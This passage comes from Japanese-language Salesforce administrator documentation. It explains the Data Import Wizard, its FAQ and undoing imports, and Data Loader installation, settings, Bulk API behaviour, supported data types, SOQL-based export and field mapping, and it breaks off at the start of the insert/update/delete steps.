• Microsoft® Internet Explorer® バージョン 9 以降
• Apple® Safari® バージョン 5 以降

メモ:

• CSV ファイルのドラッグアンドドロップは、Internet Explorer 9 ではサポートされていません。
• 異なるブラウザウィンドウからでも、同時に複数のインポートジョブを実行することはできません。
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データインポートウィザードを使用した個人取引先の追加
エディション

データインポートウィ
ザードを使用可能なエ
ディション: Salesforce
Classic と Lightning
Experience の両方

データインポートウィ
ザードを使用可能なエ
ディション: Database.com
を除くすべてのエディ
ション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition
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ユーザ権限

データインポートウィ
ザードを使用して自分が
所有する個人取引先を作
成する
• 取引先に対する「作

成」

および

取引先に対する「編
集」

および

「個人データのイン
ポート」

データインポートウィ
ザードを使用して他の
ユーザが所有する個人取
引先を作成する
• 取引先に対する「作

成」

および

取引先および取引先責
任者に対する「編集」

および

「すべてのデータの編
集」

個人取引先を Salesforce 組織に追加するには、取引先ホームページからデータイ
ンポートウィザードを起動します。
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されて
いることを確認します。
• 名
• 姓
• メール
• 電話

ヒント: Salesforce ID やその他の値を組織から取得する場合は、レポートを実
行して、レポートデータをエクスポートすることができます。

以下に説明する手順は、データをインポートする 1 つの推奨方法です。ここに
挙げられていない Salesforce 項目にもデータをインポートできます。また、デー
タインポートウィザードに表示される他のオプションを使用して、インポート
をカスタマイズすることもできます。
1. 取引先ホームページから、[データをインポート] をクリックします。
2. [ウィザードを起動する] をクリックします。

データインポートウィザードが表示されます。
3. [個人取引先]を選択して、[新規レコードを追加および既存のレコードを更新]

を選択します。
4. [取引先の一致条件] を [メール] に設定します。
5. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリッ

クします。
6. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• 名
• 姓
• メール
• 電話

7. [次へ] をクリックします。
8. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エラーが生じている場合は解決し
ます。

データインポートウィザードの FAQ

関連トピック:

データインポートウィザード
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何件のレコードをインポートできますか?
データインポートウィザードを使用して、50,000 件までのレコードを一度にインポートできます。

関連トピック:

データインポートウィザードの FAQ

インポートできるオブジェクトの種別は?
データインポートウィザードを使用して、取引先、取引先責任者、リード、ソリューション、およびカスタム
オブジェクトをインポートできます。

関連トピック:

データインポートウィザードの FAQ

同時インポートはできますか?
データインポートウィザードは、別のブラウザウィンドウからでも、同時 (並行) データインポートジョブをサ
ポートしていません。1 つのデータインポートを終了してから、次のデータインポートを開始してください。

関連トピック:

データインポートウィザードの FAQ

インポートの完了にかかる時間は?
データインポートウィザードを使用したインポートの完了にかかる時間は、インポートするデータ量に応じて
異なります。インポートは通常、即時には終わらず、数分かかる場合があります。
Salesforceシステム管理者は、一括ダウンロードページでインポートの状況を確認できます ([設定] から、[クイッ
ク検索] ボックスに「一括データ読み込みジョブ」と入力し、[一括データ読み込みジョブ] を選択します)。
Salesforceシステム管理者以外がインポートの状況を確認するには、状況メールを受信するまで待つ必要があり
ます。Salesforce の関連するタブを確認して、インポートを手動で監視することもできます。

関連トピック:

データインポートウィザードの FAQ
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インポートの取り消し
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

必要なユーザ権限

データを一括して削除す
る
• 「すべてのデータの編

集」

取引先、取引先責任者、リード、またはソリューションを間違ってインポート
した場合、システム管理者は [設定] から [クイック検索]ボックスに「一括削除」
と入力し、[一括削除] を選択して、間違ってインポートした項目を削除できま
す。
一括削除ツールは、カスタムオブジェクトをサポートしていません。Enterprise

Edition、Unlimited Edition、Performance Edition、または Developer Edition で間違ってカ
スタムオブジェクトまたはソリューションをインポートした場合、システム管
理者はデータローダを使用して、間違ってインポートしたレコードを削除でき
ます。「一括削除の実行」 (ページ 776)を参照してください。

関連トピック:

データインポートウィザード
データの Salesforce へのインポート

データローダ
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

データローダは、データを一括でインポートまたはエクスポートするためのク
ライアントアプリケーションです。Salesforce レコードの挿入、更新、削除、ま
たはエクスポートに使用できます。
データのインポート時には、カンマ区切り値 (CSV) ファイルまたはデータベース
接続からデータローダの参照、抽出、および読み込みを実行できます。データ
のエクスポート時には、CSV ファイルが出力されます。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字
を使用します。データローダの設定 ([設定] | [設定]) で区切り文字を指定し
ます。

データローダは、次の 2 通りの方法で使用できます。
• ユーザインターフェース — ユーザインターフェースを使用する場合、対話

形式で作業して、設定パラメータ、インポートとエクスポートに使用する
CSV ファイル、インポートファイルの項目名と Salesforce の項目名を対応付ける項目の対応付けを指定しま
す。

• コマンドライン (Windows のみ) — コマンドラインを使用する場合は、ファイルの設定、データソース、対
応付け、アクションを指定します。これにより、自動処理のためにデータローダを設定できます。

データローダには、次の主な特長があります。
• 対話形式で使用するための使いやすいウィザードを持つインターフェース
• 自動バッチ操作のための代替コマンドラインインターフェース (Windows のみ)

• 5 百万レコードまでの大規模ファイルにも対応
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• ドラッグアンドドロップによる項目の関連付け
• カスタムオブジェクトを含む全オブジェクトのサポート
• Salesforce および Database.com の両方でのデータ処理に使用できる
• CSV ファイル形式での詳細な成功またはエラーログ
• 組込み型 CSV ファイル参照アプリケーション
• Windows および Mac のサポート
使用を開始する前に、次のトピックを参照してください。
• データローダを使用するケース
• データローダのインストールに関する考慮事項

メモ: データローダは、以前のバージョンでの「AppExchange データローダ」や「Sforce データローダ」と
同じものです。

関連トピック:

項目の暗号化
ファイルおよび添付ファイルの暗号化

データローダを使用するケース

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

データローダは、オンラインアプリケーションの [設定] メニューからアクセス
できる Web ベースのインポートウィザードを補完します。自分のビジネス上の
ニーズに最も適合する方法を判断するには、次のガイドラインを参照してくだ
さい。

データローダを使用する状況:

• 50,000 ～ 5,000,000 件のレコードを読み込む必要がある。データローダは最大
500 万件のレコードの読み込みに対応します。500 万件を超えるレコードを読
み込む必要がある場合、Salesforceパートナーと連携するか、App Exchangeにア
クセスして最適なパートナー製品を使用することをお勧めします。

• インポートウィザードによってまだサポートされていないオブジェクトに読
み込む必要がある。

• 夜間インポートなど、定期的なデータ読み込みスケジュールを設定する。
• バックアップ目的でデータをエクスポートする。

インポートウィザードを使用する状況:

• 50,000 件未満のレコードを読み込む。
• インポートする必要のあるオブジェクトが、インポートウィザードによってサポートされている。利用で

きるインポートウィザードとそれがサポートするオブジェクトを表示するには、[設定] から [クイック検
索] ボックスに「データの管理」と入力し、[データの管理] を選択します。
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• 取引先名と取引先部門、取引先責任者のメールアドレス、またはリードのメールアドレスに従ってレコー
ドをアップロードすることにより、重複を防止する。

インポートウィザードについては、「データの Salesforce へのインポート」 (ページ 726)を参照してください。

データローダのインストールに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

データローダをダウン
ロードするページにアク
セスする
• 「すべてのデータの編

集」

データローダを使用する
• 「API の有効化」

および

新規取引先を挿入する
場合の取引先に対する
「作成」など、実行す
る処理に対する適切な
ユーザ権限

および

「Bulk API の物理削
除」(Bulk API を使用し
てレコードを物理削除
するようにデータロー
ダを設定している場合
のみ)

データローダをダウンロードおよびインストールする前に、システム要件、イ
ンストールに関する考慮事項、およびログインに関する考慮事項について理解
してください。[設定] から、[クイック検索]ボックスに「データローダ」と入力
し、[データローダ] を選択します。

Windows のシステム要件
データローダは Windows で署名されています。Windows 用のデータローダを使用
するためのシステム要件は、次のとおりです。
• Microsoft® Windows® 7、Windows® 8、または Windows® 10

• 120 MB のハードディスクの空き容量
• 256 MB の空きメモリ
• Java JRE 1.8 (32 ビット)

メモ: Salesforce では、Java が Windows インストーラ用のデータローダとバン
ドルされなくなりました。Java を Windows コンピュータにダウンロードして
インストールしてください。
JAVA_HOME環境変数を、Java ランタイム環境 (JRE) がインストールされてい
るディレクトリに設定することをお勧めします。この設定により、コマン
ドラインからデータローダをバッチモードで実行できます。

MacOS のシステム要件
MacOS 用のデータローダを使用するためのシステム要件は、次のとおりです。
• MacOS El Capitan

• 120 MB のハードディスクの空き容量
• 256 MB の空きメモリ
• Java JRE 1.8

• コンピュータのシステム管理者権限

インストールに関する考慮事項
これまでに提供されたダウンロード用のデータローダクライアントアプリケー
ションのバージョンには何種類かあります。「AppExchange データローダ」また
は「Sforce データローダ」という製品名の以前のバージョンもあります。異なるバージョンは、1 台のコン
ピュータ上で同時に実行できます。ただし、同一バージョンを複数インストールすることはできません。
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最新のバージョンは、Salesforceから入手できます。最新のバージョンをインストールしており、同じものを再
びインストールしたい場合は、まずそのバージョンをコンピュータから削除してください。

ヒント: 新しいバージョンのデータローダへのアップグレード後に、コマンドラインインターフェースか
らのログインに問題が発生した場合は、パスワードを再暗号化してみてください。

メモ: データローダのコマンドラインインターフェースは、Windows でのみサポートされています。

ソースコードに変更を加えるには、データローダのオープンソースバージョンを
https://github.com/forcedotcom/dataloader からダウンロードします。

ログインに関する考慮事項
• 組織で IP アドレスを制限している場合、信頼されない IP からのログインはアクティベーションを行うまで

ブロックされます。Salesforce から自動でアクティベーションメールが送信され、ユーザはそれを使用して
ログインできます。このメールには、パスワードの末尾に追加する必要のあるセキュリティトークンが記
載されています。たとえば、パスワードが mypassword で、セキュリティトークンが XXXXXXXXXX であ
る場合、ログインするには mypasswordXXXXXXXXXX と入力する必要があります。

• データローダバージョン 36.0 以降では、Web サーバ OAuth 認証がサポートされています。詳細は、「OAuth

認証」を参照してください。
• データローダバージョン 36.0 以降では、Salesforce Communities がサポートされています。Communities ユーザ

は常にデータローダの OAuth オプションを指定してログインします。Communities で OAuth を有効にするに
は、ユーザが config.properties ファイルを次のように変更します。
– 次の行の太字部分をコミュニティのログイン URL に変更します。行の最後にスラッシュ (/) を追加しない

でください。
sfdc.oauth.Production.server=https\://login.salesforce.com

以下に例を示します。
sfdc.oauth.Production.server=
https\://johnsmith-developer-edition.yourInstance.force.com/test

– 次の行の太字部分をコミュニティのホスト名に変更します。
sfdc.oauth.Production.redirecturi=https\://login.salesforce.com/services/oauth2/success

以下に例を示します。
sfdc.oauth.Production.redirecturi=
https\:/johnsmith-developer-edition.yourInstance.force.com/services/oauth2/success

config.propertiesファイルは、confデフォルト設定ディレクトリにあり、次の場所にインストールさ
れています。
– MacOS: /Applications/Data\ Loader.app/Contents/Resources/conf/

– Windows: 現在のユーザの場合は %LOCALAPPDATA%\salesforce.com\Data Loader\samples\conf\、
すべてのユーザの場合は C:\ProgramData\salesforce.com\Data Loader\samples\conf\
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データローダの設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

[設定] メニューからデータローダのデフォルトの操作設定を変更できます。
1. データローダを開きます。
2. [設定] > [設定] を選択します。
3. 必要に応じて、項目を編集します。

説明項目

一度の挿入、更新、更新/挿入、削除
操作で Salesforce に対して入出力され
るレコードは、このオプションで指
定したサイズで増分されます。最大
値は、200 です。50 から 100 までの値
をお勧めします。
[Bulk API を使用]オプションがオ
ンの場合、最大値は 10,000 です。

バッチサイズ (Batch size)

このオプションを選択すると、null

値として空白の対応値がデータ操作
null 値を挿入 (Insert null
values)

中に挿入されます。レコードを更新
するときにこのオプションが有効に
なっていると、対応付けが行われた
項目の既存データがデータローダに
よってすべて上書きされます。
[Bulk API を使用]オプションがオ
ンの場合、このオプションは使用で
きません。Bulk API を使用してレコー
ドを更新すると、空白の項目値は無
視されます。[Bulk API を使用]オ
プションがオンの場合に項目値を
nullに設定するには、項目値 #N/A

を使用します。

挿入、更新、更新/挿入に使う割り当
てルールの ID を指定します。このオ

割り当てルール (Assignment rule)

プションは、ケースとリードでの挿
入、更新、更新/挿入に適用されま
す。また、取引先に対するテリトリー
割り当てルールが組織にある場合、
取引先の更新にも適用されます。割
り当てルールは、CSV ファイルの [所
有者] の値を上書きします。

764

データローダSalesforce 組織の設定および管理



説明項目

通信対象となる Salesforce サーバの URL を入力しま
す。たとえば、データを Sandbox に読み込む場合は、

サーバホスト (Server host)

URL を https://test.salesforce.com に変更し
ます。

デフォルトでは、Salesforceは[サーバホスト]で指定
した URL にログインした後、その URL をリセットし

ログイン時に URL をリセット (Reset URL on
Login)

ます。この自動リセットを無効にするには、このオ
プションを無効にします。

圧縮はデータローダのパフォーマンスを向上させま
す。この機能はデフォルトで有効になっています。

圧縮 (Compression)

下層の SOAP メッセージのデバッグの際などには、
圧縮の無効化が必要なこともあります。圧縮を無効
にする場合は、このオプションを有効にします。

要求のエラーが返されるまでに、データローダが
サーバからの応答を待つ時間を秒数で指定します。

タイムアウト (Timeout)

一度のエクスポートまたはクエリ操作でSalesforceか
ら返されるレコードは、このオプションで指定した

クエリ要求のサイズ (Query request size)

サイズで増分されます。最大値は 2,000 です。値が
大きいほどパフォーマンスは向上しますが、クライ
アントでのメモリ消費量が多くなります。

データをエクスポートするときに成功とエラーの
ファイルを生成する場合は、このオプションを選択
します。

エクスポート結果のステータスファイルを生成する
(Generate status files for exports)

このオプションを選択すると、保存されている文字
コードの形式に関係なく、ファイルを強制的に UTF-8

文字コードで開きます。

すべての CSV を UTF-8 エンコーディングで読み込
む (Read all CSVs with UTF-8 encoding)

このオプションを選択すると、ファイルを強制的に
UTF-8 文字コードで書き込みます。

すべての CSV を UTF-8 エンコーディングで書き出
す (Write all CSVs with UTF-8 encoding)

このオプションを有効にすると、日付の形式として
dd/MM/yyyy および dd/MM/yyyy HH:mm:ss が使
用できます。

ヨーロッパの日付形式を使用 (Use European date
format)

このオプションを選択すると、データがSalesforceに
読み込まれたときに、メール、複数選択の選択リス

項目の切り捨てを許可 (Allow field truncation)

ト、電話、選択リスト、テキスト、および暗号化テ
キストの項目のデータを切り捨てます。
バージョン 14.0 以前のデータローダでは、データが
大きすぎる場合にはデータローダが、これらの種類
の項目の値を切り捨てます。バージョン 15.0 以降の
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説明項目

データローダでは、指定された値が大きすぎる場合
の読み込み処理がエラーになります。
このオプションを指定すると、バージョン 15.0 以降
のデータローダでの新しい動作ではなく、以前の動
作である切り取りを使用するように指定できます。
このオプションはデフォルトで選択されており、
バージョン 14.0 以前の製品には無効です。
[Bulk API を使用] オプションがオンの場合、こ
のオプションは使用できません。この場合、項目に
対して大きすぎる値が指定されると、その行の読み
込み処理は失敗します。

CSV ファイルでカンマを使用してレコードを区切る
場合にこのオプションを選択します。

CSV の区切りとしてカンマを許可

CSV ファイルでタブ文字を使用してレコードを区切
る場合にこのオプションを選択します。

CSV の区切りとしてタブを許可

CSV ファイルでカンマまたはタブ以外の文字を使用
してレコードを区切る場合にこのオプションを選択
します。

CSV の区切りとしてその他の文字を許可

この項目の文字が使用されるのは、[CSV の区切り
としてその他の文字を許可]オプションが選択されて

その他の区切り (!+? など、複数の値は区切りなし
で入力します)

いる場合のみです。たとえば、| (パイプ) 文字を使用
してデータレコードを区切る場合、その文字をこの
項目に入力します。

このオプションを選択すると、Bulk APIを使用して、
レコードの挿入、更新、更新/挿入、削除、および物

Bulk API を使用

理削除が行われます。Bulk APIは、多数のレコードを
非同期で読み込みまたは削除するように最適化され
ます。並列処理を行い、ネットワーク往復数を少な
くすることで、デフォルトの SOAP ベースの APIより
も高速に動作します。

警告: データローダで [Use Bulk API (Bulk

API を使用)]をオンにすると、レコードを物
理削除できます。物理削除されたレコードは
ただちに削除され、ごみ箱から復元すること
はできません。

このオプションを選択すると、Bulk APIが並列処理で
はなく、順次処理されます。並列処理を行うと、

一括 API に対して順次モードを有効にする

データベースの競合が生じる可能性があります。競
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説明項目

合が激しいと、読み込みが失敗することがありま
す。順次モードを使用すれば、バッチは 1 つずつ確
実に処理されます。ただし、このオプションを使用
すると、読み込みの処理時間が大幅に増える場合が
あります。
[Bulk API を使用] オプションがオンの場合、こ
のオプションだけを使用できます。

Bulk APIを使用して、添付ファイルレコードやSalesforce

CRM Content などのバイナリ添付ファイルを含む zip
Bulk API バッチを zip ファイルとしてアップロー
ドする (Upload Bulk API Batch as Zip File)

ファイルをアップロードするには、このオプション
を選択します。
[Bulk API を使用] オプションがオンの場合、こ
のオプションだけを使用できます。

このオプションを選択すると、デフォルトのタイム
ゾーンを指定できます。
日付値にタイムゾーンが含まれない場合は、この値
が使用されます。

タイムゾーン (Time Zone)

• 値が指定されていない場合は、データローダが
インストールされているコンピュータのタイム
ゾーンが使用されます。

• 間違った値が入力された場合は、GMT がタイム
ゾーンとして使用され、そのことがデータロー
ダログに記録されます。

有効な値は、Java

getTimeZone(java.lang.String)メソッドに渡
すことができるすべてのタイムゾーン識別子です。
値は、America/Los_Angeles などのフルネーム
か、GMT-8:00 などのカスタム ID にできます。

プロキシサーバのホスト名です (該当する場合のみ)。プロキシホスト

プロキシサーバのポートです。プロキシポート

プロキシサーバ認証用のユーザ名です。プロキシユーザ名

プロキシサーバ認証用のパスワードです。プロキシパスワード

NTLM 認証に使用される Windows ドメインの名前で
す。

プロキシ NTLM ドメイン
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説明項目

前回に実行した操作が失敗した場合に、最後に成功
した操作の完了時点から開始するよう設定できま
す。

開始行の位置

4. 設定を保存するには、[OK] をクリックします。

関連トピック:

Bulk API が有効化されたデータローダの動作
Bulk API を使用するデータローダの設定

Bulk API が有効化されたデータローダの動作

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

データローダの Bulk API を有効にすると、デフォルトの SOAP ベース API を使用す
るより早く、多くのレコードを読み込みまたは削除できます。ただし、Bulk API

を有効にした場合、データローダの動作が異なる場合があります。重要な違い
の 1 つは、ユーザが権限とライセンスを持っている場合に、物理削除を実行で
きるという点です。「データローダの設定」 (ページ 764)を参照してください。
[Bulk API を使用]オプションが選択されている場合のデータローダの [設定] >

[設定] ページでは、次の設定は使用できません。
null 値を挿入

Bulk APIが無効な場合にこのオプションを有効にすると、データローダは空白
の対応値を null値としてデータ操作中に挿入されます。Bulk APIを使用して
レコードを更新すると、空白の項目値は無視されます。[Bulk API を使用]

オプションがオンの場合に項目値を null に設定するには、項目値 #N/A を使用します。
項目の切り捨てを許可

Bulk API が無効が場合にこのオプションをオンにすると、特定項目のデータを切り捨てます。[Bulk API

を使用] オプションが無効の場合、項目に対して大きすぎる値が指定されると、その行の読み込み処理は
失敗します。

関連トピック:

データローダの設定
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Bulk API を使用するデータローダの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Bulk API は、多数のレコードを非同期で読み込みまたは削除するように最適化さ
れます。この API は、並列処理を行い、ネットワーク往復数を少なくすること
で、SOAP ベースの API よりも高速に動作します。デフォルトでは、データロー
ダでは、レコード処理に SOAP ベースの API が使用されます。
レコードの挿入、更新、更新/挿入、削除、物理削除に Bulk API を使用するよう
データローダを設定する手順は、次のとおりです。
1. データローダを開きます。
2. [設定] > [設定] を選択します。
3. [Bulk API を使用] オプションを選択します。
4. [OK] をクリックします。

メモ:

• [一括 API に対して順次モードを有効にする]オプションをオンにすることもできます。並列処理を行
うと、データベースの競合が生じる可能性があります。競合が激しいと、読み込みが失敗することが
あります。順次モードを使用すれば、バッチは 1 つずつ確実に処理されます。ただし、このオプショ
ンを使用すると、読み込みの処理時間が大幅に増える場合があります。

• 注意: データローダで [Use Bulk API (Bulk API を使用)] をオンにすると、レコードを物理削除
できます。物理削除されたレコードはただちに削除され、ごみ箱から復元することはできません。

関連トピック:

データローダの設定

データローダでサポートされるデータ型

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

データローダでは次のデータタイプがサポートされます。
Base64

ファイルへの文字列パス (ファイルを base64 エンコード配列に変換する)。
base64 項目は、添付ファイルの挿入または更新を行う場合、および Salesforce

CRM Contentでのみ使用できます。詳細は、「添付ファイルのアップロード」
(ページ 776)および「データローダを使用したコンテンツのアップロード」
(ページ 777)を参照してください。

Boolean

• True 値 (大文字小文字を区別しない) = yes、y、true、on、1

• False 値 (大文字小文字を区別しない) = no、n、false、off、0

日付形式
日付は、yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm の形式で指定することをお勧めします。
• yyyy は 4 桁の年号
• mm は 2 桁の月 (01 ～ 12)

• dd は 2 桁の日付 (01 ～ 31)
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• HH は 2 桁の時間 (00 ～ 23)

• mm は 2 桁の分 (00 ～ 59)

• ss は 2 桁の秒 (00 ～ 59)

• SSS は 3 桁のミリ秒 (000 ～ 999)

• +/-HHmm は、Zulu (UTC) タイムゾーンオフセット
次の日付形式もサポートされています。
• yyyy-MM-dd'T'HH:mm:ss.SSS'Z'

• yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time

• yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time

• yyyy-MM-dd'T'HH:mm:ss.SSS PST

• yyyy-MM-dd'T'HH:mm:ss.SSSPST

• yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00

• yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00

• yyyy-MM-dd'T'HH:mm:ss.SSS -800

• yyyy-MM-dd'T'HH:mm:ss.SSS-800

• yyyy-MM-dd'T'HH:mm:ss

• yyyy-MM-dd HH:mm:ss

• yyyyMMdd'T'HH:mm:ss

• yyyy-MM-dd

• MM/dd/yyyy HH:mm:ss

• MM/dd/yyyy

• yyyyMMdd

日付形式について、次のヒント集を参考にしてください。
• 月ではなく日で始まる日付形式を有効化するには、[設定] ダイアログで [ヨーロッパの日付形式を使用]

ボックスをオンにします。ヨーロッパの日付形式は、dd/MM/yyyyと [dd/MM/yyyy HH:mm:ss]です。
• コンピュータのロケールがグリニッジ標準時間 (GMT) の東側である場合には、レコード挿入または更新

時の日付調整を避けるために、コンピュータの設定を GMT に変更することをお勧めします。
• 特定の範囲内の日付のみが有効です。最も早い有効な日付は 1700-01-01T00:00:00Z GMT、つまり、1700 年 1

月 1 日の午前 0 時です。最も遅い有効な日付は 4000-12-31T00:00:00Z GMT、つまり、4000 年 12 月 31 日の午
前 0 時です。これらの値は、タイムゾーンごとのオフセットとなります。たとえば、太平洋タイムゾー
ンでは、最も早い有効な日付は 1699-12-31T16:00:00、つまり 1699 年 12 月 31 日の午後 4 時です。

Double

標準の double 型文字列
ID

Salesforce ID とは、大文字と小文字を区別する 15 字または 18 字の英数字の文字列で、特定のレコードを一意
に識別します。

ヒント: データの品質を確保するため、データローダに入力するすべての Salesforce ID について大文字
と小文字が正しく指定されていることを確認してください。

770

データローダSalesforce 組織の設定および管理



Integer

標準の integer 型文字列
String

すべての有効な XML 文字列。無効な XML 文字は削除されます。

データのエクスポート

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

レコードをエクスポート
する
• レコードに対する「参

照」

すべてのレコードをエク
スポートする
• レコードに対する「参

照」

データローダのエクスポートウィザードを使用して、Salesforce オブジェクトか
らデータを抽出できます。エクスポートする場合は、論理削除されたレコード
を含めるか ([エクスポート]) 除外するか ([すべてをエクスポート]) を選択できま
す。
1. データローダを開きます。
2. [エクスポート] または [すべてをエクスポート] をクリックします。これらの

コマンドは、[ファイル] メニューにもあります。
3. Salesforce のユーザ名とパスワードを入力します。[ログイン] をクリックして

ログインします。正常にログインしたら、[次へ]をクリックします。(ログア
ウトするか、プログラムを終了するまで、再ログインを求められることはあ
りません)。
組織で IP アドレスを制限している場合、信頼されない IP からのログインはア
クティベーションを行うまでブロックされます。Salesforce からアクティベー
ションメールが自動的に送信され、ユーザはそれを使用してログインできま
す。このメールには、パスワードの末尾に追加する必要のあるセキュリティ
トークンが記載されています。たとえば、パスワードが mypassword で、
セキュリティトークンが XXXXXXXXXX である場合、ログインするには
mypasswordXXXXXXXXXX と入力する必要があります。

4. オブジェクトを選択します。たとえば、取引先オブジェクトを選択します。
オブジェクト名がデフォルトのリストに表示されない場合は、[すべてのオブ
ジェクトを表示] チェックボックスをオンにして、アクセス可能なオブジェ
クトのリストを表示します。オブジェクトは、ローカライズされた表示ラベ
ル名順に表示され、開発者名が括弧内に表示されます。オブジェクトの説明は、『SOAP API 開発者ガイド』
を参照してください。

5. [参照...]をクリックして、データのエクスポート先 CSV ファイルを選択します。新しいファイル名を入力し
て新規ファイルを作成することも、既存のファイルを選択することもできます。
既存のファイルを選択した場合、ファイルの内容が置き換えられます。このアクションを確定するには[は
い] をクリックします。別のファイルを選択するには [いいえ] をクリックします。

6. [次へ] をクリックします。
7. データエクスポート用の SOQL クエリを作成します。たとえば、クエリ項目で [ID] と [名前] を選択し、

[完了]をクリックします。次のステップに進むと、CSV ビューアにはすべての取引先名とその ID が表示され
ます。SOQLは Salesforce オブジェクトクエリ言語であり、これを使用して、シンプルかつ強力なクエリ文字
列を作成できます。SQL の SELECT コマンドと同様、SOQL では、ソースオブジェクト、取得する項目のリス
ト、ソースオブジェクトから行を選択するための条件を指定できます。
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a. エクスポートする項目を選択します。
b. 必要に応じて、データセットを絞り込む条件を選択します。条件を選択しないと、「参照」権限を持つ

すべてのデータが返されます。
c. 生成されたクエリを確認し、必要に応じて編集します。

ヒント: 関連オブジェクトの項目を含む SOQL リレーションシップクエリを使用できます。例:

Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM
PricebookEntry WHERE IsActive = true

または、
Select Id, LastName, Account.Name FROM Contact

データローダでリレーションクエリを使用する場合、項目の完全修飾名では大文字と小文字が区別さ
れます。たとえば、上記の Account.Name の代わりに ACCOUNT.NAME を使用すると、クエリは正し
く実行されません。
データローダは現在、ネストされたクエリや子オブジェクトのクエリをサポートしていません。たと
えば、次のようなクエリでは、エラーが返されます。
SELECT Amount, Id, Name, (SELECT Quantity, ListPrice,
PriceBookEntry.UnitPrice, PricebookEntry.Name,
PricebookEntry.product2.Family FROM OpportunityLineItems)
FROM Opportunity

また、データローダは、多態的関係を使用するクエリをサポートしていません。たとえば、次のクエ
リはエラーになります。
SELECT Id, Owner.Name, Owner.Type, Owner.Id, Subject FROM Case

SOQL についての詳細は、『Force.com SOQL および SOSL リファレンス』を参照してください。

8. [完了] をクリックし、[はい] をクリックして確認します。
9. 進捗状況の情報ウィンドウに操作状況が表示されます。
10. 処理が完了すると、確認ウィンドウに結果の要約が表示されます。[抽出を表示]をクリックして CSV ファイ

ルを表示するか、[OK]をクリックして閉じます。詳細は、「データローダの出力ファイルの確認」 (ページ
778)を参照してください。

メモ:

• データローダは現在、添付ファイルの抽出をサポートしていません。代替方法として、オンラインア
プリケーションのウィークリーエクスポート機能を使用して添付ファイルをエクスポートすることを
お勧めします。

• データローダでエクスポート対象として複合項目を選択すると、エラーメッセージが表示されます。
値をエクスポートするには、個別の項目コンポーネントを使用します。
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データローダ項目の対応付けの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ファイルを挿入、削除、または更新するときに、[ダイアログの対応付け] ウィン
ドウを使用して、Salesforce 項目を CSV ファイルの列に対応付けます。詳細は、
「データローダを使用したデータの挿入、更新、または削除」 (ページ 773)を参
照してください。
1. 項目と列を自動的に一致させるには、[項目を列に自動で合わせる] をクリッ

クします。データローダは、項目と列の名前の類似性に基づき、ウィンドウ
の下部にリストを表示します。削除操作の場合、自動的に一致させるのは
[ID] 項目のみです。

2. 項目と列を手動で一致させるには、上部にあるSalesforce項目のリストから、
下部にある CSV 列のヘッダーの名前の部分に項目をドラッグします。たとえ
ば、新しい取引先の名前が含まれる CSV ファイルに新しい取引先レコードを
挿入する場合は、[名前] 列ヘッダー項目の右端に [名前] 項目をドラッグします。

3. この対応付けを再利用するために保存するには、[対応付けを保存]をクリックします。SDL マッピングファ
イルの名前を指定します。
既存のファイルを選択した場合、ファイルの内容が置き換えられます。このアクションを確定するには[は
い] をクリックします。別のファイルを選択するには [いいえ] をクリックします。

4. 現在の操作でこの対応付けを使用するには、[OK] をクリックします。

データローダを使用したデータの挿入、更新、または削除

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

レコードに対する「作成」レコードを挿入する

レコードに対する「編集」レコードを更新する

レコードに対する「作成」または「編
集」

レコードを更新/挿入する

レコードに対する「削除」レコードを削除する

レコードに対する「削除」レコードを物理削除する

「すべてのデータの編集」レコードを一括削除する

データローダの挿入、更新、更新/挿入、削除、および物理削除ウィザードを使用して、新規レコードの追加、
既存レコードの変更、または既存レコードの削除を行えます。「更新/挿入」は、挿入と更新を組み合わせた
ものです。ファイル内のレコードが既存レコードと一致する場合に、既存レコードがファイル内の値で更新さ
れます。一致しない場合は、新規レコードとして作成されます。レコードを物理削除すると、削除されたレ
コードはごみ箱には格納されないため、すぐに削除対象となります。詳細は、「データローダの設定」 (ペー
ジ 764)を参照してください。
1. データローダを開きます。
